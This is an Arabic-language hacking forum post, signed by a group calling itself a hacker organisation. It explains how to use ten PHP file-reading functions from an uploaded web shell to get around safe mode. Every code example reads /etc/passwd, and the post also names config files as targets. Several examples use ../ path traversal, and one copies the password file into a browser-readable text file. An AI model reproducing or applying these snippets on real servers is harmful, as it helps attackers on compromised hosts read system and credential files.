السلام عليكم
اليوم ان شاء الله راح نتكلم عن دوال قرائه الملفت في ال php متى نحتاجها؟ وما هي ؟ والشئ اللي نتوقع الحصول عليه منها ؟
راح ابدأ باخر سوال :
الشئ اللي نتوقع الحصول عليه منها ؟
من خلالها بنقدر نعرض محتوى ملفات اليوزر الخاص فينا او الملفات اللي مصرحه للكل ( يعني ما حد يقلي بدي اعرض ملفات يوزر ثاني ع السيرفر - الا في حاله ان السيرفر حمايه 0 ممكن تعرض ملفات يوزر ثاني )
متى نحتاجها؟
في حال كان الوضع الامن شغال (السيف مود اون ) وما كنا قادرين نعرض الملفات او نتنقل وفي هاي الحاله نستخدم الدوال حتى نعرض الملفات الطلوبه مثل config او /etc/passwd .
(لا تنسى لحد الان احنا بنتكلم فقط ع ملفات اليوزر الخاص فينا او الملفات المصرحه للكل)
ما هي ؟
الان راح نبدأ نذكرهم ونشرح عن كل وحده وطريقه الاستخدام ( طبعا الا اكون نسيه بعض الدوال اذا تذكرت شي ان شاء اللهراح اذكره )
1- داله file :
من خلالها بنقدر نعرض محتوى الملف .
مثال على استخدامها:
كود PHP:<?php
$file = "/etc/passwd";
$output = file($file);
foreach( $output as $line )
{
echo $line . "<br />\n";
}
?>
بدل /etc/passwd ب مسار الملف اللي تريد عرضه .
2- داله readfile :
اضن من اسمها واضحه ومن خلالها نعرض محتوى الملف .
مثال على استخدامها:
بدل /etc/passwd ب مسار الملف اللي تريد عرضه .كود PHP:<?php
$file = "/etc/passwd";
$output = readfile($file);
echo $output;
?>
3- داله stream_get_contents :
هاي الداله تقرى الملف وتضعه في مصفوفه وبعدين انت تقدر تعرضه
مثال على استخدامها:
كود PHP:<?php
if ($stream = fopen('/etc/passwd', 'r')) {
echo stream_get_contents($stream, -1, 10);
fclose($stream);
}
?>
بدل /etc/passwd ب مسار الملف اللي تريد عرضه .
4- داله fgets :
نفس سابقتها مع بعض الاختلافات .
مثال على استخدامها:
بدل /etc/passwd ب مسار الملف اللي تريد عرضه .كود PHP:<?php
$handle = @fopen("/etc/passwd", "r");
if ($handle) {
while (($buffer = fgets($handle, 4096)) !== false) {
echo $buffer;
}
if (!feof($handle)) {
echo "Error: unexpected fgets() fail\n";
}
fclose($handle);
}
?>
5- داله file_get_contents :
من خلالها نقدر نعرض محتى ملف او صفحه من داخل السيرفر او خارجه
(اذا استخدمتها لعرض ملف من خارج السيرفر فراح تحصل على سورس صفحه html فقط)
مثال على استخدامها:
كود PHP:<?php
$homepage = file_get_contents('/etc/passwd');
echo $homepage;
?>
بدل /etc/passwd ب مسار الملف اللي تريد عرضه .
6- داله fopen&fread
توضيح سريع حتى ما نتوسع في الموضوع هما دالتين الاولى تقرى الملف ع شكل باينري والثانيه تعرض لك الملف اللي تمت قرائته ع شكل txt.
مثال على استخدامها:
كود PHP:
<?php
$filename = "/etc/passwd";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
echo $contents ;
fclose($handle);
?>
بدل /etc/passwd ب مسار الملف اللي تريد عرضه .
7- داله fpassthru :
نفس سابقتها تقريبا لكن في شي مهم وهو مسار الملف اللي رايح تقرائه يعني نفرض ان مسارك في السيرفر مثل هيك
وتحتاج تقرأ ملف الكود PHP:/home/gaza/html/img/shell.php
كود PHP:/etc/passwd
فلازم تشوف كم مجلد يفصلك عن الروت
يعني في مثالنا تاخذ مسار الشل وتبدل اسماء المجلدات ب ../ مثل هيك
وفي الاخر وضعنا مسار الملف اللي بدنا نعرضه /etc/passwdكود PHP:../../../../etc/passwd
مثال على استخدامها:
8- داله include :كود PHP:<?php
$name = '../../../../../../etc/passwd';
$fp = fopen($name, 'rb');
header("Content-Type: php");
header("Content-Length: " . filesize($name));
fpassthru($fp);
exit;
?>
طبعا اتوقع الجميع سمع فيها مش محتاجه شرح هاي الداله بتخليك تستخدم ملف اخر في صفحتك وتنفذ الكود اللي فيه لكن في حالتنا هون حنعرضه بس .
مثال على استخدامها :
بالنسبه ل مسار الملف فهو مثل ما شرحنا في الداله السابقهكود PHP:<?php
include '../../../../../../etc/passwd';
?>
9- داله copy :
ايضا داله مشهوره واغلبكم استخدمها في هاي الحاله حننسخ الملف المطلوب ل المجلد اللي احنا فيه ونغير امتداده ونخليه مثلا txt وتستعرضه عن طريق المتصفح .
مثال على استخدامها :
يعني في ه المثال نسخنا ملف passwd ل ملف 2.txt وحتلاقيه في نفس المجلد اللي انت شغال عليه استعرضه عن طريق المتصفح .كود PHP:<?php
$file = '../../../../../../etc/passwd';
$newfile = '2.txt';
if (!copy($file, $newfile)) {
echo "failed to copy $file...\n";
}
?>
10- داله show_source :
صراحه هي اجمل داله بينهم كلهم تعرض لك المحتوى بالالوان وبشكل منسق
مثال على استخدامها :
كود PHP:<?php
show_source('/etc/passwd');
?>
بدل /etc/passwd ب مسار الملف اللي تريد عرضه .
* طبعا استخدامك ل الدوال هذى محصور بالدوال المسموحه في السيرفر يعني تشوف اي وحده من الدوال هذه مسموح وتستخدمه .
وهيك نكون انتهينا من دوال قرائه الملفات في ال php ان شاء الله يكون الجميع يستفيد منها
الامثله كلها مرفقه مع الموضوع
تقبلو تحياتي
منظمة نسور الهكر
Shadi ALbtran



1Likes
LinkBack URL
About LinkBacks
)
)




رد مع اقتباس


المفضلات